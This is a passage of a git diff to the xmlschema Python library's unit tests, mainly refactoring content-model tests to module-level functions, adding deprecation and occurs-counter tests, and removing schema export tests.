+ self.assertFalse(model.check_following(c)) + self.assertFalse(model.check_following(d)) + + def test_advance_smart_methods(self): + schema = self.schema_class(dedent( + """<?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:sequence> + <xs:element name="a" minOccurs="0"/> + <xs:element name="b" minOccurs="3" maxOccurs="8"/> + <xs:element name="c" minOccurs="2" maxOccurs="unbounded"/> + <xs:element name="d"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:schema> + """)) + + group = schema.elements['root'].type.content + a, b, c, d = group + + model = group.get_model_visitor() + self.assertIs(model.element, a) + self.assertFalse(model.advance_safe(c.name)) + self.assertIs(model.element, a) + self.assertTrue(model.advance_safe(a.name, b.name, b.name, b.name, c.name)) + self.assertIs(model.element, c) + + model = group.get_model_visitor() + self.assertIs(model.element, a) + self.assertTrue(list(model.advance_until(c.name))) + self.assertIs(model.element, c) + + model.restart() + self.assertIs(model.element, a) + self.assertListEqual(list(model.advance_until(b.name)), []) + class TestModelValidation11(TestModelValidation): schema_class = XMLSchema11 @@ -985,33 +1464,24 @@ def test_sort_content(self): </xs:complexType> """) - model = ModelVisitor(schema.types['A_type'].content) + group = schema.types['A_type'].content self.assertListEqual( - model.sort_content([('B2', 10), ('B1', 'abc'), ('B3', True)], restart=False), + sort_content([('B2', 10), ('B1', 'abc'), ('B3', True)], group), [('B1', 'abc'), ('B2', 10), ('B3', True)] ) self.assertListEqual( - model.sort_content([('B2', 10), ('B1', 'abc'), ('B3', True)]), - [('B1', 'abc'), ('B2', 10), ('B3', True)] - ) - self.assertListEqual( - model.sort_content([('B2', 10), ('B1', 'abc'), ('B3', True)], restart=False), - [('B2', 10), ('B1', 'abc'), ('B3', True)] - ) - - self.assertListEqual( - model.sort_content([('B3', True), ('B2', 10), ('B1', 'abc')]), + sort_content([('B3', True), ('B2', 10), ('B1', 'abc')], group), [('B1', 'abc'), ('B2', 10), ('B3', True)] ) self.assertListEqual( - model.sort_content([('B2', 10), ('B4', None), ('B1', 'abc'), ('B3', True)]), + sort_content([('B2', 10), ('B4', None), ('B1', 'abc'), ('B3', True)], group), [('B1', 'abc'), ('B2', 10), ('B3', True), ('B4', None)] ) content = [('B2', 10), ('B4', None), ('B1', 'abc'), (1, 'hello'), ('B3', True)] self.assertListEqual( - model.sort_content(content), + sort_content(content, group), [(1, 'hello'), ('B1', 'abc'), ('B2', 10), ('B3', True), ('B4', None)] ) @@ -1019,7 +1489,7 @@ def test_sort_content(self): (2, 'world!'), ('B2', 10), ('B4', None), ('B1', 'abc'), (1, 'hello'), ('B3', True) ] self.assertListEqual( - model.sort_content(content), + sort_content(content, group), [(1, 'hello'), ('B1', 'abc'), (2, 'world!'), ('B2', 10), ('B3', True), ('B4', None)] ) @@ -1028,7 +1498,7 @@ def test_sort_content(self): (5, 'five'), (4, 'four'), (2, 'two'), (3, 'three'), (1, 'one') ] self.assertListEqual( - model.sort_content(content), + sort_content(content, group), [(1, 'one'), ('B1', 'abc'), (2, 'two'), ('B2', 10), (3, 'three'), ('B3', True), (4, 'four'), ('B4', None), (5, 'five'), (6, 'six')] ) @@ -1036,26 +1506,30 @@ def test_sort_content(self): # With a dict-type argument content = dict([('B2', [10]), ('B1', ['abc']), ('B3', [True])]) self.assertListEqual( - model.sort_content(content), [('B1', 'abc'), ('B2', 10), ('B3', True)] + sort_content(content, group), [('B1', 'abc'), ('B2', 10), ('B3', True)] ) content = dict([('B2', [10]), ('B1', ['abc']), ('B3', [True]), (1, 'hello')]) self.assertListEqual( - model.sort_content(content), [(1, 'hello'), ('B1', 'abc'), ('B2', 10), ('B3', True)] + sort_content(content, group), + [(1, 'hello'), ('B1', 'abc'), ('B2', 10), ('B3', True)] ) # With partial content - self.assertListEqual(model.sort_content([]), []) - self.assertListEqual(model.sort_content([('B1', 'abc')]), [('B1', 'abc')]) - self.assertListEqual(model.sort_content([('B2', 10)]), [('B2', 10)]) - self.assertListEqual(model.sort_content([('B3', True)]), [('B3', True)]) + self.assertListEqual(sort_content([], group), []) + self.assertListEqual(sort_content([('B1', 'abc')], group), [('B1', 'abc')]) + self.assertListEqual(sort_content([('B2', 10)], group), [('B2', 10)]) + self.assertListEqual(sort_content([('B3', True)], group), [('B3', True)]) self.assertListEqual( - model.sort_content([('B3', True), ('B1', 'abc')]), [('B1', 'abc'), ('B3', True)] + sort_content([('B3', True), ('B1', 'abc')], group), + [('B1', 'abc'), ('B3', True)] ) self.assertListEqual( - model.sort_content([('B2', 10), ('B1', 'abc')]), [('B1', 'abc'), ('B2', 10)] + sort_content([('B2', 10), ('B1', 'abc')], group), + [('B1', 'abc'), ('B2', 10)] ) self.assertListEqual( - model.sort_content([('B3', True), ('B2', 10)]), [('B2', 10), ('B3', True)] + sort_content([('B3', True), ('B2', 10)], group), + [('B2', 10), ('B3', True)] ) def test_iter_collapsed_content_with_optional_elements(self): @@ -1074,18 +1548,15 @@ def test_iter_collapsed_content_with_optional_elements(self): </xs:complexType> """) - model = ModelVisitor(schema.types['A_type'].content) - + group = schema.types['A_type'].content content = [('B3', 10), ('B4', None), ('B5', True), ('B6', 'alpha'), ('B7', 20)] - model.restart() self.assertListEqual( - list(model.iter_collapsed_content(content)), content + list(iter_collapsed_content(content, group)), content ) content = [('B3', 10), ('B5', True), ('B6', 'alpha'), ('B7', 20)] # Missing B4 - model.restart() self.assertListEqual( - list(model.iter_collapsed_content(content)), content + list(iter_collapsed_content(content, group)), content ) def test_iter_collapsed_content_with_repeated_elements(self): @@ -1104,27 +1575,19 @@ def test_iter_collapsed_content_with_repeated_elements(self): </xs:complexType> """) - model = ModelVisitor(schema.types['A_type'].content) + group = schema.types['A_type'].content content = [ ('B3', 10), ('B4', None), ('B5', True), ('B5', False), ('B6', 'alpha'), ('B7', 20) ] - self.assertListEqual( - list(model.iter_collapsed_content(content)), content - ) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B3', 10), ('B3', 11), ('B3', 12), ('B4', None), ('B5', True), ('B5', False), ('B6', 'alpha'), ('B7', 20), ('B7', 30)] - model.restart() - self.assertListEqual( - list(model.iter_collapsed_content(content)), content - ) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B3', 10), ('B3', 11), ('B3', 12), ('B4', None), ('B5', True), ('B5', False)] - model.restart() - self.assertListEqual( - list(model.iter_collapsed_content(content)), content - ) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) def test_iter_collapsed_content_with_repeated_groups(self): schema = self.get_schema(""" @@ -1137,38 +1600,33 @@ def test_iter_collapsed_content_with_repeated_groups(self): </xs:complexType> """) - model = ModelVisitor(schema.types['A_type'].content) + group = schema.types['A_type'].content content = [('B1', 1), ('B1', 2), ('B2', 3), ('B2', 4)] self.assertListEqual( - list(model.iter_collapsed_content(content)), + list(iter_collapsed_content(content, group)), [('B1', 1), ('B2', 3), ('B1', 2), ('B2', 4)] ) # Model broken by unknown element at start content = [('X', None), ('B1', 1), ('B1', 2), ('B2', 3), ('B2', 4)] - model.restart() - self.assertListEqual(list(model.iter_collapsed_content(content)), content) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 1), ('X', None), ('B1', 2), ('B2', 3), ('B2', 4)] - model.restart() - self.assertListEqual(list(model.iter_collapsed_content(content)), content) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 1), ('B1', 2), ('X', None), ('B2', 3), ('B2', 4)] - model.restart() - self.assertListEqual(list(model.iter_collapsed_content(content)), content) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 1), ('B1', 2), ('B2', 3), ('X', None), ('B2', 4)] - model.restart() self.assertListEqual( - list(model.iter_collapsed_content(content)), + list(iter_collapsed_content(content, group)), [('B1', 1), ('B2', 3), ('B1', 2), ('X', None), ('B2', 4)] ) content = [('B1', 1), ('B1', 2), ('B2', 3), ('B2', 4), ('X', None)] - model.restart() self.assertListEqual( - list(model.iter_collapsed_content(content)), + list(iter_collapsed_content(content, group)), [('B1', 1), ('B2', 3), ('B1', 2), ('B2', 4), ('X', None)] ) @@ -1184,34 +1642,86 @@ def test_iter_collapsed_content_with_single_elements(self): </xs:complexType> """) - model = ModelVisitor(schema.types['A_type'].content) + group = schema.types['A_type'].content content = [('B1', 'abc'), ('B2', 10), ('B3', False)] - model.restart() - self.assertListEqual(list(model.iter_collapsed_content(content)), content) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B3', False), ('B1', 'abc'), ('B2', 10)] - model.restart() - self.assertListEqual(list(model.iter_collapsed_content(content)), content) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 'abc'), ('B3', False), ('B2', 10)] - model.restart() - self.assertListEqual(list(model.iter_collapsed_content(content)), content) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 'abc'), ('B1', 'def'), ('B2', 10), ('B3', False)] - model.restart() self.assertListEqual( - list(model.iter_collapsed_content(content)), + list(iter_collapsed_content(content, group)), [('B1', 'abc'), ('B2', 10), ('B3', False), ('B1', 'def')] ) content = [('B1', 'abc'), ('B2', 10), ('X', None)] - model.restart() - self.assertListEqual(list(model.iter_collapsed_content(content)), content) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('X', None), ('B1', 'abc'), ('B2', 10), ('B3', False)] - model.restart() - self.assertListEqual(list(model.iter_collapsed_content(content)), content) + self.assertListEqual(list(iter_collapsed_content(content, group)), content) + + def test_deprecated_methods(self): + schema = self.get_schema(""" + <xs:element name="A" type="A_type" /> + <xs:complexType name="A_type"> + <xs:sequence maxOccurs="10"> + <xs:element name="B1" minOccurs="0" /> + <xs:element name="B2" minOccurs="0" /> + </xs:sequence> + </xs:complexType> + """) + + group = schema.types['A_type'].content + model = ModelVisitor(group) + default_namespace = 'http://xmlschema.test/ns' + content = [('B1', 1), ('B1', 2), ('B2', 3)] + + with warnings.catch_warnings(record=True) as ctx: + warnings. simplefilter("always") + self.assertListEqual( + list(model.iter_collapsed_content(content)), + [('B1', 1), ('B2', 3), ('B1', 2)] + ) + self.assertEqual(len(ctx), 1, "Expected one deprecation warning") + self.assertIn("use iter_collapsed_content()", str(ctx[0].message)) + self.assertNotIn("Don't provide default_namespace", str(ctx[0].message)) + + with warnings.catch_warnings(record=True) as ctx: + warnings.simplefilter("always") + self.assertListEqual( + list(model.iter_collapsed_content(content, default_namespace)), + [('B1', 1), ('B2', 3), ('B1', 2)] + ) + self.assertEqual(len(ctx), 1, "Expected one deprecation warning") + self.assertIn("use iter_collapsed_content()", str(ctx[0].message)) + self.assertIn("Don't provide default_namespace", str(ctx[0].message)) + + content = [('B2', 1), ('B1', 2), ('B2', 3), ('B1', 4)] + + with warnings.catch_warnings(record=True) as ctx: + warnings. simplefilter("always") + self.assertListEqual( + list(model.iter_unordered_content(content)), + [('B1', 2), ('B2', 1), ('B1', 4), ('B2', 3)] + ) + self.assertEqual(len(ctx), 1, "Expected one deprecation warning") + self.assertIn("use iter_unordered_content()", str(ctx[0].message)) + self.assertNotIn("Don't provide default_namespace", str(ctx[0].message)) + + with warnings.catch_warnings(record=True) as ctx: + warnings.simplefilter("always") + self.assertListEqual( + list(model.iter_unordered_content(content, default_namespace)), + [('B1', 2), ('B2', 1), ('B1', 4), ('B2', 3)] + ) + self.assertEqual(len(ctx), 1, "Expected one deprecation warning") + self.assertIn("use iter_unordered_content()", str(ctx[0].message)) + self.assertIn("Don't provide default_namespace", str(ctx[0].message)) class TestModelPaths(unittest.TestCase): diff --git a/tests/validators/test_notations.py b/tests/validators/test_notations.py index f6b3bdb..0ca698c 100644 --- a/tests/validators/test_notations.py +++ b/tests/validators/test_notations.py @@ -9,9 +9,9 @@ # @author Davide Brunato <brunato@sissa.it> # import unittest +from xml.etree import ElementTree from xmlschema import XMLSchemaParseError -from xmlschema.etree import ElementTree from xmlschema.names import XSD_NOTATION from xmlschema.validators import XMLSchema10, XMLSchema11, XsdNotation diff --git a/tests/validators/test_particles.py b/tests/validators/test_particles.py index de738dd..f6d1c46 100644 --- a/tests/validators/test_particles.py +++ b/tests/validators/test_particles.py @@ -10,9 +10,10 @@ # import os import unittest +from collections import Counter +from xml.etree import ElementTree from xmlschema import XMLSchema10, XMLSchemaParseError -from xmlschema.etree import ElementTree from xmlschema.validators.particles import ParticleMixin CASES_DIR = os.path.join(os.path.dirname(__file__), '../test_cases') @@ -65,16 +66,36 @@ def test_is_univocal(self): self.assertTrue(self.schema.elements['cars'].is_univocal()) self.assertFalse(self.schema.elements['cars'].type.content[0].is_univocal()) - def test_is_missing(self): - self.assertTrue(self.schema.elements['cars'].is_missing(0)) - self.assertFalse(self.schema.elements['cars'].is_missing(1)) - self.assertFalse(self.schema.elements['cars'].is_missing(2)) - self.assertFalse(self.schema.elements['cars'].type.content[0].is_missing(0)) + def test_occurs_checkers(self): + xsd_element = self.schema.elements['cars'] - def test_is_over(self): - self.assertFalse(self.schema.elements['cars'].is_over(0)) - self.assertTrue(self.schema.elements['cars'].is_over(1)) - self.assertFalse(self.schema.elements['cars'].type.content[0].is_over(1000)) + occurs = Counter() + self.assertTrue(xsd_element.is_missing(occurs)) + self.assertFalse(xsd_element.is_over(occurs)) + self.assertFalse(xsd_element.is_exceeded(occurs)) + + occurs[xsd_element] += 1 + self.assertFalse(xsd_element.is_missing(occurs)) + self.assertTrue(xsd_element.is_over(occurs)) + self.assertFalse(xsd_element.is_exceeded(occurs)) + + occurs[xsd_element] += 1 + self.assertFalse(xsd_element.is_missing(occurs)) + self.assertTrue(xsd_element.is_over(occurs)) + self.assertTrue(xsd_element.is_exceeded(occurs)) + + xsd_element = self.schema.elements['cars'].type.content[0] # car + self.assertTrue(xsd_element.min_occurs == 0) + self.assertTrue(xsd_element.max_occurs is None) + + self.assertFalse(xsd_element.is_missing(occurs)) + self.assertFalse(xsd_element.is_over(occurs)) + self.assertFalse(xsd_element.is_exceeded(occurs)) + + occurs[xsd_element] += 1000 + self.assertFalse(xsd_element.is_missing(occurs)) + self.assertFalse(xsd_element.is_over(occurs)) + self.assertFalse(xsd_element.is_exceeded(occurs)) def test_has_occurs_restriction(self): schema = XMLSchema10("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> @@ -91,7 +112,7 @@ def test_has_occurs_restriction(self): <xs:element name="node8" minOccurs="3" maxOccurs="11"/> <xs:element name="node9" minOccurs="0" maxOccurs="0"/> </xs:sequence> - </xs:complexType> + </xs:complexType> </xs:schema>""") xsd_group = schema.types['barType'].content diff --git a/tests/validators/test_schemas.py b/tests/validators/test_schemas.py index 56e4236..c5fc7c0 100644 --- a/tests/validators/test_schemas.py +++ b/tests/validators/test_schemas.py @@ -10,21 +10,19 @@ # import unittest import logging -import tempfile import warnings import pathlib import pickle import platform -import glob import os -import re from textwrap import dedent +from xml.etree.ElementTree import Element +import xmlschema from xmlschema import XMLSchemaParseError, XMLSchemaIncludeWarning, XMLSchemaImportWarning from xmlschema.names import XML_NAMESPACE, LOCATION_HINTS, SCHEMAS_DIR, XSD_ELEMENT, XSI_TYPE -from xmlschema.etree import etree_element from xmlschema.validators import XMLSchemaBase, XMLSchema10, XMLSchema11, \ - XsdGlobals, Xsd11Attribute + XsdGlobals, XsdComponent from xmlschema.testing import SKIP_REMOTE_TESTS, XsdValidatorTestCase from xmlschema.validators.schemas import logger @@ -34,7 +32,7 @@ class CustomXMLSchema(XMLSchema10): class TestXMLSchema10(XsdValidatorTestCase): - TEST_CASES_DIR = os.path.join(os.path.dirname(__file__), '../test_cases') + TEST_CASES_DIR = str(pathlib.Path(__file__).parent.joinpath('../test_cases').resolve()) maxDiff = None class CustomXMLSchema(XMLSchema10): @@ -114,7 +112,7 @@ def test_builtin_types(self): def test_resolve_qname(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <xs:element name="root" /> </xs:schema>""")) @@ -158,6 +156,23 @@ def test_wrong_includes_and_imports(self): self.assertTrue(str(context[1].message).startswith("Redefine")) self.assertTrue(str(context[2].message).startswith("Import of namespace")) + def test_import_mismatch_with_locations__issue_324(self): + xsd1_path = self.casepath('../test_cases/features/namespaces/import-case5a.xsd') + xsd2_path = self.casepath('../test_cases/features/namespaces/import-case5b.xsd') + xsd3_path = self.casepath('../test_cases/features/namespaces/import-case5c.xsd') + + schema = self.schema_class(xsd1_path, locations=[ + ('http://xmlschema.test/other-ns', xsd2_path), + ('http://xmlschema.test/other-ns2', xsd3_path), + ]) + self.assertTrue(schema.built) + + with self.assertRaises(xmlschema.XMLSchemaParseError): + self.schema_class(xsd1_path, locations=[ + ('http://xmlschema.test/wrong-ns', xsd2_path), + ('http://xmlschema.test/wrong-ns2', xsd3_path), + ]) + def test_wrong_references(self): # Wrong namespace for element type's reference self.check_schema(""" @@ -200,6 +215,15 @@ def test_annotations(self): self.assertIsNotNone(xsd_type._annotation) # xs:simpleType annotations are not lazy parsed self.assertEqual(str(xsd_type.annotation), ' stuff ') + def test_components(self): + components = self.col_schema.components + self.assertIsInstance(components, dict) + self.assertEqual(len(components), 25) + + for elem, component in components.items(): + self.assertIsInstance(component, XsdComponent) + self.assertIs(elem, component.elem) + def test_annotation_string(self): schema = self.check_schema(""" <xs:element name='A'> @@ -316,9 +340,9 @@ def test_remote_schemas_loading(self): def test_schema_defuse(self): vh_schema = self.schema_class(self.vh_xsd_file, defuse='always') - self.assertIsInstance(vh_schema.root, etree_element) + self.assertIsInstance(vh_schema.root, Element) for schema in vh_schema.maps.iter_schemas(): - self.assertIsInstance(schema.root, etree_element) + self.assertIsInstance(schema.root, Element) def test_logging(self): self.schema_class(self.vh_xsd_file, loglevel=logging.ERROR) @@ -328,20 +352,16 @@ def test_logging(self): self.schema_class(self.vh_xsd_file, loglevel=logging.INFO) self.assertEqual(logger.level, logging.WARNING) - self.assertEqual(len(ctx.output), 7) - self.assertIn("INFO:xmlschema:Include schema from 'types.xsd'", ctx.output) - self.assertIn("INFO:xmlschema:Resource 'types.xsd' is already loaded", ctx.output) + self.assertEqual(len(ctx.output), 3) + self.assertIn("INFO:xmlschema:Include schema from ", ctx.output[0]) with self.assertLogs('xmlschema', level='DEBUG') as ctx: self.schema_class(self.vh_xsd_file, loglevel=logging.DEBUG) self.assertEqual(logger.level, logging.WARNING) - self.assertEqual(len(ctx.output), 19) - self.assertIn("INFO:xmlschema:Include schema from 'cars.xsd'", ctx.output) - self.assertIn("INFO:xmlschema:Resource 'cars.xsd' is already loaded", ctx.output) + self.assertEqual(len(ctx.output), 38) self.assertIn("DEBUG:xmlschema:Schema targetNamespace is " "'http://example.com/vehicles'", ctx.output) - self.assertIn("INFO:xmlschema:Resource 'cars.xsd' is already loaded", ctx.output) # With string argument with self.assertRaises(ValueError) as ctx: @@ -350,15 +370,15 @@ def test_logging(self): with self.assertLogs('xmlschema', level='INFO') as ctx: self.schema_class(self.vh_xsd_file, loglevel='INFO') - self.assertEqual(len(ctx.output), 7) + self.assertEqual(len(ctx.output), 3) with self.assertLogs('xmlschema', level='INFO') as ctx: self.schema_class(self.vh_xsd_file, loglevel=' Info ') - self.assertEqual(len(ctx.output), 7) + self.assertEqual(len(ctx.output), 3) def test_target_namespace(self): schema = self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="root"/> </xs:schema>""")) @@ -372,7 +392,7 @@ def test_target_namespace(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace=""> <xs:element name="root"/> </xs:schema>""")) @@ -382,14 +402,14 @@ def test_target_namespace(self): def test_block_default(self): schema = self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" blockDefault="extension restriction "> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(schema.block_default, 'extension restriction ') schema = self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" blockDefault="#all"> <xs:element name="root"/> </xs:schema>""")) @@ -398,7 +418,7 @@ def test_block_default(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" blockDefault="all">> <xs:element name="root"/> </xs:schema>""")) @@ -408,7 +428,7 @@ def test_block_default(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" blockDefault="#all restriction">> <xs:element name="root"/> </xs:schema>""")) @@ -418,14 +438,14 @@ def test_block_default(self): def test_final_default(self): schema = self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" finalDefault="extension restriction "> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(schema.final_default, 'extension restriction ') schema = self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" finalDefault="#all"> <xs:element name="root"/> </xs:schema>""")) @@ -434,7 +454,7 @@ def test_final_default(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" finalDefault="all">> <xs:element name="root"/> </xs:schema>""")) @@ -473,7 +493,7 @@ def test_version_control(self): <xs:element name="root"> <xs:complexType> <xs:attribute name="a" use="required"/> - <xs:assert test="@a > 300" vc:minVersion="1.1" + <xs:assert test="@a > 300" vc:minVersion="1.1" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning"/> </xs:complexType> </xs:element> @@ -481,8 +501,8 @@ def test_version_control(self): self.assertEqual(len(schema.root[0][0]), 1 if schema.XSD_VERSION == '1.0' else 2) schema = self.schema_class(dedent(""" - <xs:schema vc:minVersion="1.1" elementFormDefault="qualified" - xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema vc:minVersion="1.1" elementFormDefault="qualified" + xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning"> <xs:element name="root"/> </xs:schema>""")) @@ -586,7 +606,7 @@ def test_multi_schema_initialization(self): self.assertIn("global element with name='elem2' is already defined", str(ec.exception)) source1 = dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="elem1"/> </xs:schema>""") @@ -600,7 +620,7 @@ def test_multi_schema_initialization(self): def test_add_schema(self): source1 = dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="elem1"/> </xs:schema>""") @@ -611,7 +631,7 @@ def test_add_schema(self): </xs:schema>""") source3 = dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns1"> <xs:element name="elem3"/> </xs:schema>""") @@ -623,9 +643,11 @@ def test_add_schema(self): self.assertEqual(len(schema.maps.namespaces['']), 1) # Less checks on duplicate objects for schemas added after the build - schema.add_schema(source2, build=True) - self.assertEqual(len(schema.maps.namespaces['']), 2) - self.assertTrue(schema.maps.built) + with self.assertRaises(XMLSchemaParseError) as ctx: + schema.add_schema(source2, build=True) + + self.assertIn("global element with name='elem2' is already defined", + str(ctx.exception)) with self.assertRaises(XMLSchemaParseError) as ec: schema.maps.clear() @@ -636,13 +658,13 @@ def test_add_schema(self): schema.add_schema(source2, namespace='http://xmlschema.test/ns', build=True) self.assertEqual(len(schema.maps.namespaces['http://xmlschema.test/ns']), 2) - # Need a rebuild to add elem2 from added schema ... - self.assertEqual(len(schema.elements), 1) + # Don't need a full rebuild to add elem2 from added schema ... + self.assertEqual(len(schema.elements), 2) schema.maps.clear() schema.build() self.assertEqual(len(schema.elements), 2) - # ... so is better to build after sources additions + # Or build after sources additions schema = self.schema_class(source1, build=False) schema.add_schema(source2, namespace='http://xmlschema.test/ns') schema.build() @@ -653,142 +675,6 @@ def test_add_schema(self): self.assertEqual(len(schema.maps.namespaces['http://xmlschema.test/ns1']), 1) self.assertEqual(len(schema3.elements), 1) - def test_export_errors__issue_187(self): - with self.assertRaises(ValueError) as ctx: - self.vh_schema.export(target=self.vh_dir) - - self.assertIn("target directory", str(ctx.exception)) - self.assertIn("is not empty", str(ctx.exception)) - - with self.assertRaises(ValueError) as ctx: - self.vh_schema.export(target=self.vh_xsd_file) - - self.assertIn("target", str(ctx.exception)) - self.assertIn("is not a directory", str(ctx.exception)) - - with self.assertRaises(ValueError) as ctx: - self.vh_schema.export(target=self.vh_xsd_file + '/target') - - self.assertIn("target parent", str(ctx.exception)) - self.assertIn("is not a directory", str(ctx.exception)) - - with tempfile.TemporaryDirectory() as dirname: - with self.assertRaises(ValueError) as ctx: - self.vh_schema.export(target=dirname + 'subdir/target') - - self.assertIn("target parent directory", str(ctx.exception)) - self.assertIn("does not exist", str(ctx.exception)) - - def test_export_same_directory__issue_187(self): - with tempfile.TemporaryDirectory() as dirname: - self.vh_schema.export(target=dirname) - - for filename in os.listdir(dirname): - with pathlib.Path(dirname).joinpath(filename).open() as fp: - exported_schema = fp.read() - with pathlib.Path(self.vh_dir).joinpath(filename).open() as fp: - original_schema = fp.read() - - if platform.system() == 'Windows': - exported_schema = re.sub(r'\s+', '', exported_schema) - original_schema = re.sub(r'\s+', '', original_schema) - - self.assertEqual(exported_schema, original_schema) - - self.assertFalse(os.path.isdir(dirname)) - - def test_export_another_directory__issue_187(self): - vh_schema_file = self.casepath('issues/issue_187/issue_187_1.xsd') - vh_schema = self.schema_class(vh_schema_file) - - with tempfile.TemporaryDirectory() as dirname: - vh_schema.export(target=dirname) - - path = pathlib.Path(dirname).joinpath('examples/vehicles/*.xsd') - for filename in glob.iglob(pathname=str(path)): - with pathlib.Path(dirname).joinpath(filename).open() as fp: - exported_schema = fp.read() - - basename = os.path.basename(filename) - with pathlib.Path(self.vh_dir).joinpath(basename).open() as fp: - original_schema = fp.read() - - if platform.system() == 'Windows': - exported_schema = re.sub(r'\s+', '', exported_schema) - original_schema = re.sub(r'\s+', '', original_schema) - - self.assertEqual(exported_schema, original_schema) - - with pathlib.Path(dirname).joinpath('issue_187_1.xsd').open() as fp: - exported_schema = fp.read() - with open(vh_schema_file) as fp: - original_schema = fp.read() - - if platform.system() == 'Windows': - exported_schema = re.sub(r'\s+', '', exported_schema) - original_schema = re.sub(r'\s+', '', original_schema) - - self.assertNotEqual(exported_schema, original_schema) - self.assertEqual( - exported_schema, - original_schema.replace('../..', dirname.replace('\\', '/')) - ) - - self.assertFalse(os.path.isdir(dirname)) - - @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") - def test_export_remote__issue_187(self): - vh_schema_file = self.casepath('issues/issue_187/issue_187_2.xsd') - vh_schema = self.schema_class(vh_schema_file) - - with tempfile.TemporaryDirectory() as dirname: - vh_schema.export(target=dirname) - - with pathlib.Path(dirname).joinpath('issue_187_2.xsd').open() as fp: - exported_schema = fp.read() - with open(vh_schema_file) as fp: - original_schema = fp.read() - - if platform.system() == 'Windows': - exported_schema = re.sub(r'\s+', '', exported_schema) - original_schema = re.sub(r'\s+', '', original_schema) - - self.assertEqual(exported_schema, original_schema) - - self.assertFalse(os.path.isdir(dirname)) - - with tempfile.TemporaryDirectory() as dirname: - vh_schema.export(target=dirname, save_remote=True) - path = pathlib.Path(dirname).joinpath('brunato/xmlschema/master/tests/test_cases/' - 'examples/vehicles/*.xsd') - - for filename in glob.iglob(pathname=str(path)): - with pathlib.Path(dirname).joinpath(filename).open() as fp: - exported_schema = fp.read() - - basename = os.path.basename(filename) - with pathlib.Path(self.vh_dir).joinpath(basename).open() as fp: - original_schema = fp.read() - self.assertEqual(exported_schema, original_schema) - - with pathlib.Path(dirname).joinpath('issue_187_2.xsd').open() as fp: - exported_schema = fp.read() - with open(vh_schema_file) as fp: - original_schema = fp.read() - - if platform.system() == 'Windows': - exported_schema = re.sub(r'\s+', '', exported_schema) - original_schema = re.sub(r'\s+', '', original_schema) - - self.assertNotEqual(exported_schema, original_schema) - self.assertEqual( - exported_schema, - original_schema.replace('https://raw.githubusercontent.com', - dirname.replace('\\', '/') + '/raw.githubusercontent.com') - ) - - self.assertFalse(os.path.isdir(dirname)) - def test_pickling_subclassed_schema__issue_263(self): cases_dir = pathlib.Path(__file__).parent.parent schema_file = cases_dir.joinpath('test_cases/examples/vehicles/vehicles.xsd') @@ -810,28 +696,19 @@ class CustomLocalXMLSchema(self.schema_class): schema = CustomLocalXMLSchema(str(schema_file)) self.assertTrue(schema.is_valid(str(xml_file))) - with self.assertRaises((pickle.PicklingError, AttributeError)) as ec: + with self.assertRaises((pickle.PicklingError, 